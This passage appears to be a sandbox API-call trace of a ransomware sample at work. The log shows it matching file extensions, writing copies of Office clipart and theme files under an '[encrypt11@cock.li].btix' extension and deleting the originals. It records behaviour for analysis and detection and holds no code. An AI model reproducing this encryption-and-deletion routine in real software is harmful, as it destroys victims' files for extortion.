[0137.448] lstrlenW (lpString=".ppt") returned 4 [0137.448] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".zip") returned 4 [0137.448] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.448] lstrlenW (lpString=".rar") returned 4 [0137.448] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.448] lstrlenW (lpString=".bz2") returned 4 [0137.448] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString=".7z") returned 3 [0137.448] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".dbf") returned 4 [0137.449] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.449] lstrlenW (lpString=".1cd") returned 4 [0137.449] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.449] lstrlenW (lpString=".jpg") returned 4 [0137.449] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.449] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.449] lstrlenW (lpString="URBAN_01.MID") returned 12 [0137.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0137.684] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=13358) returned 1 [0137.684] CloseHandle (hObject=0x3bc) returned 1 [0137.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0137.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0137.685] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.685] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0137.686] GetLastError () returned 0x0 [0137.686] ReadFile (in: hFile=0x3bc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x342e, lpOverlapped=0x0) returned 1 [0137.754] WriteFile (in: hFile=0x4a0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x3430, lpOverlapped=0x0) returned 1 [0137.755] ReadFile (in: hFile=0x3bc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.755] WriteFile (in: hFile=0x4a0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.755] SetEndOfFile (hFile=0x4a0) returned 1 [0137.771] CloseHandle (hObject=0x4a0) returned 1 [0137.771] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.771] SetEndOfFile (hFile=0x3bc) returned 1 [0137.887] CloseHandle (hObject=0x3bc) returned 1 [0137.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString=".doc") returned 4 [0138.949] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.949] lstrlenW (lpString=".docx") returned 5 [0138.949] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.949] lstrlenW (lpString=".pdf") returned 4 [0138.949] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.949] lstrlenW (lpString=".xls") returned 4 [0138.949] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.949] lstrlenW (lpString=".xlsx") returned 5 [0138.949] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.949] lstrlenW (lpString=".ppt") returned 4 [0138.949] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString=".zip") returned 4 [0138.949] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.949] lstrlenW (lpString=".rar") returned 4 [0138.949] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.949] lstrlenW (lpString=".bz2") returned 4 [0138.949] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.949] lstrlenW (lpString=".7z") returned 3 [0138.949] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString=".dbf") returned 4 [0138.949] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString=".1cd") returned 4 [0138.949] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.949] lstrlenW (lpString=".jpg") returned 4 [0138.949] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString=".doc") returned 4 [0138.950] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.950] lstrlenW (lpString=".docx") returned 5 [0138.950] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.950] lstrlenW (lpString=".pdf") returned 4 [0138.950] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.950] lstrlenW (lpString=".xls") returned 4 [0138.950] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.950] lstrlenW (lpString=".xlsx") returned 5 [0138.950] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.950] lstrlenW (lpString=".ppt") returned 4 [0138.950] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString=".zip") returned 4 [0138.950] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.950] lstrlenW (lpString=".rar") returned 4 [0138.950] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.950] lstrlenW (lpString=".bz2") returned 4 [0138.950] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.950] lstrlenW (lpString=".7z") returned 3 [0138.950] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString=".dbf") returned 4 [0138.950] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString=".1cd") returned 4 [0138.950] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0138.950] lstrlenW (lpString=".jpg") returned 4 [0138.950] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.950] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0138.951] lstrlenW (lpString="Inset.eftx") returned 10 [0138.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0139.260] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=44971) returned 1 [0139.260] CloseHandle (hObject=0x498) returned 1 [0139.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0139.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.350] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.350] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0139.352] GetLastError () returned 0x0 [0139.352] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xafab, lpOverlapped=0x0) returned 1 [0139.396] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0139.398] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.399] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1 [0139.399] SetEndOfFile (hFile=0x508) returned 1 [0139.399] CloseHandle (hObject=0x508) returned 1 [0139.399] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.399] SetEndOfFile (hFile=0x540) returned 1 [0139.403] CloseHandle (hObject=0x540) returned 1 [0139.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0139.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.405] lstrlenW (lpString=".doc") returned 4 [0139.405] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.405] lstrlenW (lpString=".docx") returned 5 [0139.405] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.405] lstrlenW (lpString=".pdf") returned 4 [0139.405] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.405] lstrlenW (lpString=".xls") returned 4 [0139.405] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.405] lstrlenW (lpString=".xlsx") returned 5 [0139.406] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.406] lstrlenW (lpString=".ppt") returned 4 [0139.406] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString=".zip") returned 4 [0139.406] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString=".rar") returned 4 [0139.406] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString=".bz2") returned 4 [0139.406] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString=".7z") returned 3 [0139.406] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString=".dbf") returned 4 [0139.406] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString=".1cd") returned 4 [0139.406] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString=".jpg") returned 4 [0139.406] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.406] lstrlenW (lpString=".doc") returned 4 [0139.407] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".docx") returned 5 [0139.407] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.407] lstrlenW (lpString=".pdf") returned 4 [0139.407] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".xls") returned 4 [0139.407] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".xlsx") returned 5 [0139.407] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.407] lstrlenW (lpString=".ppt") returned 4 [0139.407] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.407] lstrlenW (lpString=".zip") returned 4 [0139.407] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".rar") returned 4 [0139.407] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".bz2") returned 4 [0139.407] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.407] lstrlenW (lpString=".7z") returned 3 [0139.407] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.408] lstrlenW (lpString=".dbf") returned 4 [0139.408] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.408] lstrlenW (lpString=".1cd") returned 4 [0139.408] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0139.408] lstrlenW (lpString=".jpg") returned 4 [0139.408] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.408] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.408] lstrlenW (lpString="Reflection.eftx") returned 15 [0139.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.423] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=48366) returned 1 [0139.423] CloseHandle (hObject=0x540) returned 1 [0139.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0139.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0139.424] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.424] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0139.425] GetLastError () returned 0x0 [0139.425] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xbcee, lpOverlapped=0x0) returned 1 [0139.433] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0139.434] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.434] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xf2, lpOverlapped=0x0) returned 1 [0139.434] SetEndOfFile (hFile=0x508) returned 1 [0139.435] CloseHandle (hObject=0x508) returned 1 [0139.435] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.435] SetEndOfFile (hFile=0x540) returned 1 [0139.438] CloseHandle (hObject=0x540) returned 1 [0139.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0139.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.440] lstrlenW (lpString=".doc") returned 4 [0139.440] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.440] lstrlenW (lpString=".docx") returned 5 [0139.440] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.440] lstrlenW (lpString=".pdf") returned 4 [0139.440] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.440] lstrlenW (lpString=".xls") returned 4 [0139.440] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString=".xlsx") returned 5 [0139.441] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.441] lstrlenW (lpString=".ppt") returned 4 [0139.441] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString=".zip") returned 4 [0139.441] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString=".rar") returned 4 [0139.441] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString=".bz2") returned 4 [0139.441] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString=".7z") returned 3 [0139.441] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString=".dbf") returned 4 [0139.441] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString=".1cd") returned 4 [0139.441] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString=".jpg") returned 4 [0139.441] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.441] lstrlenW (lpString=".doc") returned 4 [0139.441] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.441] lstrlenW (lpString=".docx") returned 5 [0139.442] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.442] lstrlenW (lpString=".pdf") returned 4 [0139.442] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString=".xls") returned 4 [0139.442] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString=".xlsx") returned 5 [0139.442] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.442] lstrlenW (lpString=".ppt") returned 4 [0139.442] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0139.442] lstrlenW (lpString=".zip") returned 4 [0139.442] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString=".rar") returned 4 [0139.442] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString=".bz2") returned 4 [0139.442] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.442] lstrlenW (lpString=".7z") returned 3 [0139.442] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.442] lstrlenW 